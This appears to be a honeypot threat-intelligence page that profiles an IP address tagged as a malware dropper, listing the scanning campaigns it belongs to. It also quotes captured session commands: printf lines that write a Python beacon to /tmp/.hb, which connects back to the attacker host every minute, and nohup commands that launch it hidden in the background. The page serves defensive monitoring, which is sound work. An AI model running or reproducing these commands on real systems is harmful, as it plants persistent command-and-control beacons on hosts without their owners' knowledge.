← Back to feed
74.208.19.244
TAGGED MALICIOUS how we decide →
Why: Our sensors observed malware dropper sessions · certainty: inferred
Assessment
Malware dropper: logs in and downloads payloads
- Downloaded 3 files and ran 4 commands on the host.
- Part of a 224-IP campaign probing the same targets.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇺🇸 US
ASN
AS8560 · IONOS SE
Cloud Provider
—
Total Events
23
Average by volume
Agent Count
2
First / Last Seen
2026-09-26 21:32 — 2026-09-27 08:31
Attack Types
MITRE ATT&CK Techniques
External Corroboration
Not flagged by any external feeds
Campaigns
Multi-Agent Scan
SCAN
Active
medium
184 IPs
442819 events
2026-09-24 — ongoing · 184 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
149 IPs
575010 events
2026-09-22 — ongoing · 149 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on Azure. Scanning the same …
Multi-Agent Scan
SCAN
Active
medium
224 IPs
558165 events
2026-09-22 — ongoing · 224 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
204 IPs
645424 events
2026-09-22 — ongoing · 204 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on Azure. Scanning the same …
Multi-Agent Scan
SCAN
Active
medium
223 IPs
655301 events
2026-09-21 — ongoing · 223 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
209 IPs
622701 events
2026-08-29 — ongoing · 209 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
200 IPs
554137 events
2026-06-09 — ongoing · 200 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on Cloudflare. Scanning the same …
Multi-Agent Scan
SCAN
Active
medium
183 IPs
437763 events
2026-06-09 — ongoing · 183 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on Cloudflare. Scanning the same …
Multi-Agent Scan
SCAN
Active
medium
150 IPs
515533 events
2026-05-01 — ongoing · 150 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
175 IPs
527527 events
2026-05-01 — ongoing · 175 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on Azure. Scanning the same …
Multi-Agent Scan
SCAN
Active
medium
52 IPs
88429 events
2026-05-01 — ongoing · 52 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
200 IPs
517912 events
2026-05-01 — ongoing · 200 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
11 IPs
2704 events
2026-03-31 — ongoing · 11 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
174 IPs
573559 events
2026-03-31 — ongoing · 174 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
136 IPs
391099 events
2026-03-31 — ongoing · 136 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
220 IPs
592286 events
2026-03-17 — ongoing · 220 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
104 IPs
126619 events
2026-02-24 — ongoing · 104 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
150 IPs
319498 events
2026-02-24 — ongoing · 150 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
Sessions
2 (2 with login)
Avg Depth Score
1.0
Commands Executed
4
Files Downloaded
3
Notable Commands
- printf "import socket, time, os, sys\nH='74.208.19.244'\nP=576\nUID_FILE = '/tmp/.hb_uid'\nLOG_FILE = '/tmp/hb.log'\n\ndef log(msg):\n try:\n with open(LOG_FILE, 'a') as f:\n f.write(f'{time.time():.0f} {msg}\\n')\n except:\n pass\n\ndef get_uid():\n # Try cached UID first\n try:\n with open(UID_FILE, 'r') as f:\n u = f.read().strip()\n if u: return u\n except:\n pass\n # Discover via connect\n try:\n s = socket.socket()\n s.settimeout(5)\n s.connect((H, P))\n u = s.getsockname()[0]\n s.close()\n with open(UID_FILE, 'w') as f:\n f.write(u)\n return u\n except:\n return 'x'\n\ndef connect_with_backoff(uid, attempt):\n delay = min(2 ** attempt, 300) + (attempt * 0.1) # exp backoff + jitter\n time.sleep(delay)\n try:\n s = socket.socket()\n s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n s.settimeout(15)\n s.connect((H, P))\n s.sendall(uid.encode())\n s.close()\n return True\n except Exception as e:\n log(f'connect_failed attempt={attempt} err={e}')\n return False\n\nuid = get_uid()\nlog(f'start uid={uid}')\nattempt = 0\nwhile 1:\n if connect_with_backoff(uid, attempt):\n attempt = 0\n log('beat_ok')\n else:\n attempt += 1\n time.sleep(60)\n">/tmp/.hb
- nohup python3 /tmp/.hb >>/tmp/hb.log 2>&1 & disown
- printf "import socket,time\nH='74.208.19.244'\nP=576\ntry:\n s=socket.socket();s.settimeout(5);s.connect((H,P));uid=s.getsockname()[0];s.close()\nexcept:uid='x'\nwhile 1:\n try:\n s=socket.socket();s.settimeout(10);s.connect((H,P))\n try:s.sendall(uid.encode())\n except:s.sendall(uid)\n s.close()\n except:pass\n time.sleep(60)\n">/tmp/.hb
- python /tmp/.hb </dev/null >/dev/null 2>&1 &
Evidence Timeline
Malware Dropper
8b127eba6f19
LOGIN
2
2
1
100%
Loading events...
$ printf "import socket, time, os, sys\nH='74.208.19.244'\nP=…$ nohup python3 /tmp/.hb >>/tmp/hb.log 2>&1 & disown
Malware Dropper
4cb2b03a091a
LOGIN
2
1
1
100%
Loading events...
$ printf "import socket,time\nH='74.208.19.244'\nP=576\ntry:\…$ python /tmp/.hb </dev/null >/dev/null 2>&1 &